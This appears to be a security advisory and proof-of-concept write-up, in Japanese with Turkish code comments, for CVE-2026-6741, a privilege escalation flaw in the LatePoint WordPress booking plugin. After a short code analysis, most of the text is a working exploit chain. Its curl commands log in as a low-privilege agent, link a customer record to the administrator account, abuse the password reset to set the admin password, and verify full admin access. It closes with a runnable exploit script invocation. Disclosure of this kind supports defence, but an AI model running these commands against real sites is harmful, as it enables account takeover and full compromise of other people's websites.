
CVE-2026-6741 は、LatePoint – Calendar Booking Plugin における CVSS 8.8(高)の認証済み(Agent+)権限昇格の脆弱性です。
CVE-2026-6741 は、LatePoint – Calendar Booking Plugin における CVSS 8.8 (High) の Authenticated (Agent+) Privilege Escalation 脆弱性です。
プラグイン: LatePoint – Calendar Booking Plugin for Appointments and Events (
latepoint) CVE ID: CVE-2026-6741 CVSS スコア: 8.8 (High) CVSS ベクター:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H脆弱性タイプ: Authenticated (Agent+) Privilege Escalation → Administrator Takeover 影響を受けるバージョン: <= 5.4.1 修正済みバージョン: 5.4.2 公開日: 2026年4月27日 研究者: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence
latepoint_agent ロールを持つ認証済みの攻撃者は、任意の LatePoint 顧客 (customer) レコードを WordPress 管理者アカウントにリンクし、その後 LatePoint 自身のパスワードリセットフローを利用して管理者のパスワードを変更できます。
この結果、サイト全体の乗っ取りにつながります。
| フィールド | 値 |
|---|---|
| プラグイン名 | LatePoint – Calendar Booking Plugin |
| プラグインスラッグ | latepoint |
| CVE ID | CVE-2026-6741 |
| CVSS スコア | 8.8 (High) |
| 脆弱性タイプ | Authenticated (Agent+) Privilege Escalation |
| 影響を受けるバージョン | <= 5.4.1 |
| 修正済みバージョン | 5.4.2 |
| 必要条件 | latepoint_agent ロール、WordPress 6.9+ |
LatePoint 5.3.0 は、WordPress 6.9+ で導入された Abilities API のサポートを追加しました。この API により、プラグインは REST API 経由で呼び出し可能な「アビリティ」クラスを登録できます。
// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}
// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
$this->id = 'latepoint/connect-customer-to-wp-user';
$this->label = __( 'Connect customer to WP user', 'latepoint' );
$this->permission = 'customer__edit'; // ← tek kontrol: bu capability
}
Agent ロールはデフォルトで customer__edit 権限を持っています:
// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
$capabilities = [
...
'customer__edit', // ← agent bu yetkiye sahip
...
];
}
// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
$customer = new OsCustomerModel( (int) $args['customer_id'] );
$wp_user_id = (int) $args['wp_user_id'];
if ( ! get_userdata( $wp_user_id ) ) {
// Sadece kullanıcının var olup olmadığı kontrol ediliyor
// EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
return new WP_Error( 'wp_user_not_found', ... );
}
$customer->wordpress_user_id = $wp_user_id; // ← herhangi bir WP user'a bağla
$customer->save();
return $this->serialize_customer( ... );
}
// lib/models/customer_model.php — line 315
public function update_password( $password ) {
if ( OsAuthHelper::can_wp_users_login_as_customers()
&& $this->wordpress_user_id ) {
wp_set_password( $password, $this->wordpress_user_id );
// ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
}
}
// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
return OsRolesHelper::can_user( $this->permission );
// Sadece ÇAĞIRANIN yetkisini kontrol eder
// HEDEF kullanıcının rolünü kontrol etmez
}
latepoint_agent hesabı
│
▼
1. Agent olarak WP'ye giriş yap → REST nonce al
│
▼
2. Hedef admin WordPress user ID'sini tespit et
(wp-json/wp/v2/users veya ID=1)
│
▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
{ "customer_id": 5, "wp_user_id": 1 }
→ Rol kontrolü yok → Başarılı
│
▼
4. LatePoint forgot_password → customer emailine reset token gönder
│
▼
5. Token ile change_password → update_password() çağrılır
→ wp_set_password("Hacked!", 1)
→ Admin şifresi değişti
│
▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓
⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only.
前提条件:
latepoint_agent ロールを持つアカウントWP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"
# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
-d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# REST nonce al
NONCE=$(curl -s -b cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"
# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
-H "X-WP-Nonce: $NONCE" | python3 -m json.tool
ADMIN_WP_USER_ID=1 # Genellikle ID=1
CUSTOMER_ID=5 # Kontrol ettiğin LatePoint customer ID
curl -s -b cookies.txt -X POST \
"$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: $NONCE" \
-d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"
期待される応答:
{
"id": 5,
"wp_user_id": 1,
"email": "[email protected]"
}
CUSTOMER_EMAIL="[email protected]"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_email=$CUSTOMER_EMAIL"
LatePoint は、account_nonce トークンを含むリセットメールを $CUSTOMER_EMAIL アドレスに送信します。
RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"
curl -s -X POST \
"$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"
この呼び出しは update_password() → wp_set_password($NEW_PASSWORD, 1) のチェーンをトリガーします。管理者パスワードが変更されました。
curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
"$WP_URL/wp-login.php" \
-d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
-H "Cookie: wordpress_test_cookie=WP+Cookie+check"
# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)
# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
"$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
curl -s "$WP_URL/wp-json/wp/v2/users/me" \
-H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]
git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt
requirements.txt
requests
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123!
python latepoint_privesc.py -u http://hedef.com \
--agent-user agent1 --agent-pass Pass123! \
--admin-id 1 \
--customer-id 5 \
--customer-email [email protected]